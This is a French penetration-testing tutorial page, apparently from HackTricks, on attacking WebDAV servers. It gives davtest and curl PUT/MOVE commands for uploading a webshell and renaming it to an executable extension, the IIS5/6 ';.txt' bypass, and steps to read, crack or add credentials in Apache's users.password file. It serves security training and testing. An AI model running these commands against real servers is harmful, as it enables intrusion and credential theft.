WebDav

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Lorsqu'il s'agit d'un serveur HTTP avec WebDav activé, il est possible de manipuler des fichiers si vous avez les bonnes informations d'identification, généralement vérifiées par HTTP Basic Authentication. Prendre le contrÎle d'un tel serveur implique souvent le téléchargement et l'exécution d'un webshell.

L'accÚs au serveur WebDav nécessite généralement des informations d'identification valides, avec WebDav bruteforce étant une méthode courante pour les acquérir.

Pour contourner les restrictions sur les tĂ©lĂ©chargements de fichiers, en particulier celles empĂȘchant l'exĂ©cution de scripts cĂŽtĂ© serveur, vous pourriez :

  • TĂ©lĂ©charger des fichiers avec des extensions exĂ©cutables directement si ce n'est pas restreint.
  • Renommer des fichiers non exĂ©cutables tĂ©lĂ©chargĂ©s (comme .txt) en une extension exĂ©cutable.
  • Copier des fichiers non exĂ©cutables tĂ©lĂ©chargĂ©s, en changeant leur extension en une extension exĂ©cutable.

DavTest

Davtest essaie de télécharger plusieurs fichiers avec différentes extensions et vérifie si l'extension est exécutée :

bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension

Cela ne signifie pas que les extensions .txt et .html sont exécutées. Cela signifie que vous pouvez accéder à ces fichiers via le web.

Cadaver

Vous pouvez utiliser cet outil pour vous connecter au serveur WebDav et effectuer des actions (comme télécharger, déplacer ou supprimer) manuellement.

cadaver <IP>

RequĂȘte PUT

curl -T 'shell.txt' 'http://$ip'

Demande MOVE

bash
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'

IIS5/6 WebDav Vulnerability

Cette vulnérabilité est trÚs intéressante. Le WebDav ne permet pas de télécharger ou de renommer des fichiers avec l'extension .asp. Mais vous pouvez contourner cela en ajoutant à la fin du nom ";.txt" et le fichier sera exécuté comme s'il s'agissait d'un fichier .asp (vous pourriez également utiliser ".html" au lieu de ".txt" mais N'OUBLIEZ PAS le ";").

Ensuite, vous pouvez télécharger votre shell en tant que ".txt" file et le copier/le déplacer vers un fichier ".asp;.txt". En accédant à ce fichier via le serveur web, il sera exécuté (cadaver dira que l'action de déplacement n'a pas fonctionné, mais c'est le cas).

Post credentials

Si le Webdav utilisait un serveur Apache, vous devriez regarder les sites configurés dans Apache. Communément :
_/etc/apache2/sites-enabled/000-default_

À l'intĂ©rieur, vous pourriez trouver quelque chose comme :

ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user

Comme vous pouvez le voir, il y a des fichiers avec les credentials valides pour le serveur webdav :

/etc/apache2/users.password

À l'intĂ©rieur de ce type de fichiers, vous trouverez le nom d'utilisateur et un hash du mot de passe. Ce sont les identifiants que le serveur webdav utilise pour authentifier les utilisateurs.

Vous pouvez essayer de craquer ces identifiants, ou d'ajouter d'autres si pour une raison quelconque vous souhaitez accéder au serveur webdav :

bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password

Pour vérifier si les nouvelles informations d'identification fonctionnent, vous pouvez faire :

bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks